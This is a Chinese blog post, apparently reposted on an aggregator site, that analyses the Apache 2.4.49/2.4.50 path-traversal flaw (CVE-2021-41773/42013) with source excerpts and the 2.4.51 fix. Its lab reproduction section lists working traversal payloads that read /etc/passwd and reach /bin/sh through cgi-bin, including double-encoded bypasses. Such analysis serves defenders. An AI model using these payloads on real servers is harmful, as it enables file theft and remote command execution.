CVE-2021-41773/42013 apache路径穿越漏洞

这篇具有很好参考价值的文章主要介绍了CVE-2021-41773/42013 apache路径穿越漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

影响范围

CVE-2021-41773 Apache HTTP server 2.4.49
CVE-2021-42013 Apache HTTP server 2.4.49/2.4.50

漏洞原理

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,如下所示:

while (path[l] != '\0') {
    if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
            && path[l] == '%' && apr_isxdigit(path[l + 1])
            && apr_isxdigit(path[l + 2])) {
        const char c = x2c(&path[l + 1]);
        if (apr_isalnum(c) || (c && strchr("-._~", c))) {
            /* Replace last char and fall through as the current
                * read position */
            l += 2;
            path[l] = c;
        }
    }
    ......

    if (w == 0 || IS_SLASH(path[w - 1])) {
        /* Collapse / sequences to / */
        if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
            do {
                l++;
            } while (IS_SLASH(path[l]));
            continue;
        }

        if (path[l] == '.') {
            /* Remove /./ segments */
            if (IS_SLASH_OR_NUL(path[l + 1])) {
                l++;
                if (path[l]) {
                    l++;
                }
                continue;
            }

            /* Remove /xx/../ segments */
            if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                /* Wind w back to remove the previous segment */
                if (w > 1) {
                    do {
                        w--;
                    } while (w && !IS_SLASH(path[w - 1]));
                }
                else {
                    /* Already at root, ignore and return a failure
                        * if asked to.
                        */
                    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                        ret = 0;
                    }
                }

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。
如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。

if ((path[n] == '.' || (decode_unreserved
    && path[n] == '%'
    && path[++n] == '2'
    && (path[++n] == 'e'
    || path[n] == 'E')))
    && IS_SLASH_OR_NUL(path[n + 1])) {
    /* Wind w back to remove the previous segment */
    if (w > 1) {
        do {
            w--;
        } while (w && !IS_SLASH(path[w - 1]));
    }
    else {
        /* Already at root, ignore and return a failure
            * if asked to.
            */
        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
            ret = 0;
        }
    }
    /* Move l forward to the next segment */
    l = n + 1;
    if (path[l]) {
        l++;
    }
    continue;
}

但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:


/* This is the master logic for processing requests.  Do NOT duplicate
 * this logic elsewhere, or the security model will be broken by future
 * API changes.  Each phase must be individually optimized to pick up
 * redundant/duplicate calls by subrequests, and redirects.
 */
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    ......

    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

    ......

    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

漏洞复现

环境:vulfocus漏洞集成靶场

1、开启靶场,访问ip抓取数据包
CVE-2021-41773/42013 apache路径穿越漏洞,漏洞复现,apache,网络安全,漏洞,java

2、丢入repeater修改为payload
GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
CVE-2021-41773/42013 apache路径穿越漏洞,漏洞复现,apache,网络安全,漏洞,java

POST /cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
CVE-2021-41773/42013 apache路径穿越漏洞,漏洞复现,apache,网络安全,漏洞,java

3、开启42013的靶场,将%2e修改成%%32%65(2的ascii是32,e的ascii是65)
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
CVE-2021-41773/42013 apache路径穿越漏洞,漏洞复现,apache,网络安全,漏洞,java

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
CVE-2021-41773/42013 apache路径穿越漏洞,漏洞复现,apache,网络安全,漏洞,java

漏洞修复

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:文章来源地址https://www.toymoban.com/news/detail-719170.html

while (path[l] != '\0') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }

到了这里,关于CVE-2021-41773/42013 apache路径穿越漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(34)
  • CVE-2021–26855与CVE-2021–27065漏洞分析及复现

    文章首发先知社区:https://xz.aliyun.com/t/10098 微软在上半年三月披露了关于Exchange邮件服务器 CVE-2021–26855 (SSRF)与 CVE-2021–27065 (任意文件写入)的漏洞,这两个漏洞配合可以造成未授权的webshell写入,是非常严重的高危漏洞。漏洞刚出来那会儿并未注意,正好前两天4哥在群里发了个关

    2024年02月07日
    浏览(30)
  • Sudo堆溢出漏洞(CVE-2021-3156)复现

    2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境版本 • ubuntu 20.04 • su

    2024年02月11日
    浏览(26)
  • CVE-2021-22205 GitLab 远程命令执行漏洞复现

    目录 一、漏洞信息 二、环境搭建 三、复现过程 1.测试漏洞 2.漏洞利用,反弹shell 四、修复建议 一、漏洞信息 漏洞名称 GITLAB 远程命令执行漏洞 漏洞编号 CVE-2021-22205 危害等级 高危 CVSS评分 6.5 漏洞厂商 Ruby 受影响版本 11.9 = Gitlab CE/EE 13.8.8;13.9 = Gitlab CE/EE 13.9.6;13.10 = Gitlab

    2024年02月05日
    浏览(33)
  • HIKVISION海康威视代码执行漏洞复现(CVE-2021-36260)

    2023年将会持续于B站、CSDN等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。 GET访问/x.asp

    2024年02月12日
    浏览(31)
  • Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042

    Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。 在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最

    2024年02月07日
    浏览(31)
  • CVE-2021-27905 Apache Solr SSRF漏洞

    预备知识 1. 漏洞信息 漏洞编号:CVE-2021-27905   漏洞名称:Apache Solr SSRF漏洞  漏洞描述:Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。该漏洞是由于Solr默认安装未开启身份验证,攻击者

    2023年04月13日
    浏览(23)
  • WebLogic反序列化漏洞复现+利用工具(CVE-2021-2394)

    Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。 这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的

    2024年02月06日
    浏览(84)
  • CVE-2021-1675 Windows Print Spooler权限提升漏洞复现

    Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象,它包含有关添加的

    2024年02月06日
    浏览(34)
  • 框架安全-CVE 复现&Apache Shiro&Apache Solr漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Nod

    2024年02月05日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包